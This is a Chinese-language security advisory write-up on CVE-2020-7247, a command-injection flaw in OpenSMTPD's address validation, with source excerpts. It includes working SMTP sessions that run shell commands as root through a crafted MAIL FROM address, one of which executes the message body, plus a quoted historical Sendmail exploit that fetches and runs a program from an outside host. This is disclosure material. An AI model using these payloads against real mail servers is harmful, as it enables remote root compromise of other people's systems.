研究人员在OpenBSD的邮件服务器OpenSMTPD中发现了一个安全漏洞。该漏洞从2018年5月开始就可以利用了,攻击者利用该漏洞可以以root权限执行任意shell命令:
研究人员开发了一个简单的PoC,并在OpenBSD 6.6和Debian (Bullseye)测试版本进行了测试,研究人员认为其他版本和发布版本也可以被利用。
研究人员分析发现漏洞的根源在于OpenSMTPD的smtp_mailaddr()函数,该函数负责验证发送者(MAIL FROM)和接收者(RCPT TO)的邮件地址:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
valid_domainpart()
来验证邮箱地址的域名,该函数只接收IPv4和IPv6地址、字母数字、.
、-
和_
字符;valid_localpart()
来验证邮箱地址的本地部分,该函数只接收字母数字、.
和MAILADDR_ALLOWED
字符(RFC 5322的白名单): #define MAILADDR_ALLOWED "!#$%&'*/?^`{|}~+-=_"
在MAILADDR_ALLOWED
的字符串中,同时位于MAILADDR_ESCAPE
的部分之后会被mda_expand_token()
转变成为:
字符:
#define MAILADDR_ESCAPE "!#$%&'*?`{|}~"
smtp_mailaddr()
的白名单和mda_expand_token()
的逃逸对OpenSMTPD的安全性都是很基本的,可以防止危险字符串到达执行MDA命令的shell中:
execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL,
mda_environ);
Mail Delivery Agents (MDAs)负责传递邮件到本地接收者,比如OpenSMTPD的默认MDA方法是mbox
,对应的MDA命令是:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
%{user.username}
是现有的本地用户名(接收者地址的本地部分),%{mbox.from}
是发送者地址(发送者地址如果不在smtp_mailaddr()
的白名单和mda_expand_token()
的逃逸部分,就位于攻击者的完全控制之下)。
研究人员在smtp_mailaddr()
函数中发现了一个漏洞——(CVE-2020-7247):
------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
如果地址的本地部分是无效的(2218行),如果域名的空的(2229行),然后smtp_mailaddr()
会自动添加默认域名(2230行)并返回1
(2232行),虽然应该返回的是0
,因为地址的本地部分应该是无效的。
因此,攻击者可以传递不在MAILADDR_ALLOWED
和 MAILADDR_ESCAPE
中的危险字符到执行MDA命令的shell。比如,下面的本地SMTP会话就在OpenSMTPD的默认配置下以root执行sleep 66
:
------------------------------------------------------------------------------
$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:<;sleep 66;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
How about a nice game of chess?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------
但是通过发送者地址的本地部分执行任意shell命令的能力是有限的:
64
个字符;:
字符。为了克服这些限制,研究人员从https://spaf.cerias.purdue.edu/tech-reps/823.pdf 处获得了灵感,其中通过以shell脚本的形式执行邮箱的主体部分来利用Sendmail的DEBUG漏洞:
------------------------------------------------------------------------------
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c
.
quit
------------------------------------------------------------------------------
事实上,MDA命令的标准输入是邮件自身:"sed"移除了header,"/bin/sh"执行了body部分。
研究人员不能重用该命令,但研究人员使用"read"来移除N header行,并将N个注释行前加"NOP slide"到邮件的body部分。比如,下面的远程SMTP session以root的形式在OpenSMTP的未注释的默认配置中执行了邮件的body:
------------------------------------------------------------------------------
$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------
https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt